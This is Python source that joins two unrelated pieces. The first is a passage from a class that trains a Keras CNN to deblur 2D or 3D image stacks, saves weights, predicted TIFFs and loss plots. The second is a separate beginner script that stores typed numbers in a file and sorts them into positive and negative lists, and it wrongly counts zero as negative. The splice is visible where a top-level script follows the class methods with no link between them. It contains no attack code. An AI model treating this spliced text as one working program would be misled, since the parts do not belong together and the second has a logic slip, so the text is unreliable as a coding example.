            #model = PSFCNNModel3D.ModelBuilder(self.shape, self.learningRate)
            model = DeblurCNNModelMini3D.ModelBuilder((self.layers, self.rows, self.cols, 1), self.learningRate)
        return model

    # Method, which provides reshaping of inputed array to prediction
    def reshapeInput(self, input):
        if self.mode == "2d learning":
            input = input.reshape(1, self.rows, self.cols, 1)
        else:
            input = input.reshape(1, self.layers, self.rows, self.cols, 1)
        return input

    # Method which provides saving images of outputed data
    def deblurTrainingDataset(self):
        # Init model
        model = self.initTrainableModel()
        model.load_weights(self.saveWeightsPath)

        for i in range(len(self.blured)):
            bluredInto = self.reshapeInput(self.blured[i])
            clearResult = model.predict(bluredInto)
            clearResult = clearResult / np.amax(clearResult) * 255.
            clearResult = clearResult.reshape(self.layers, self.rows, self.cols)
            SaveTiffStack(clearResult, self.debluredImagesDatasetPath, "predicted_{}".format(i + 1))
        return

    def GenerateModelPath(self):
        dirId = -1
        while True:
            dirId += 1
            print(dirId)
            txt_folder = str(os.getcwd()) + "\\" + self.mode + "_" + str(dirId)
            if not path.isdir(txt_folder):
                os.mkdir(txt_folder)
                break
        return txt_folder

    # Method which provides plotting training history
    def plotHist(self, history):
        loss = history.history['loss']
        valLoss = history.history['val_loss']
        epochs = range(len(loss))

        plt.figure()

        plt.semilogy(epochs, loss, 'b', label = 'Training loss')
        plt.semilogy(epochs, valLoss, 'r', label = 'Validation loss')
        plt.title('Training and validation loss')
        plt.legend()
        plt.savefig(self.dirPath + "/history.png")
        #plt.show()
        return

    # Method which provides Resnet CNN training
    def train(self):
        try:
            # Init model
            model = self.initTrainableModel()

            # Init train test images
            bluredTrainList, bluredValList, clearTrainList, clearValList = SplitOnTrainAndVal(self.blured, self.clear)

            # train model
            self.batchSize = 32 if self.mode == "2d learning" else 2
            hist = model.fit(x = np.array(bluredTrainList), y = np.array(clearTrainList), validation_data=(np.array(bluredValList), np.array(clearValList)), epochs = self.epoches, batch_size=self.batchSize, use_multiprocessing=True)
            self.dirPath = self.GenerateModelPath()
            self.saveWeightsPath = self.dirPath + "/" + (self.MODEL_NAME_2d if self.mode == "2d learning" else self.MODEL_NAME_3d)
            model.save_weights(self.saveWeightsPath)

            # plot hist graph
            self.plotHist(hist)

            # outpur deblured images from dataset
            if self.isNeedToSaveDebluredDataset:
                self.deblurTrainingDataset()

        except Exception as e:
            print(e)
        return


posList = []
negList = []

l = int(input('enter the length'))

f = open("num","w")

for i in range(l):

  i=i+1

  print('enter value',i)

  numbers = input()

  f.write(numbers+"\n")

print('file created')
f.close()

f2 = open("num","r")

for i in f2:

  i = i.strip()
  number=int(i)

  if(number>0):

    posList.append(number)

  else:

    negList.append(number)

print('positive numbers is :',posList)

print('negative numbers is :',negList)

f2.close()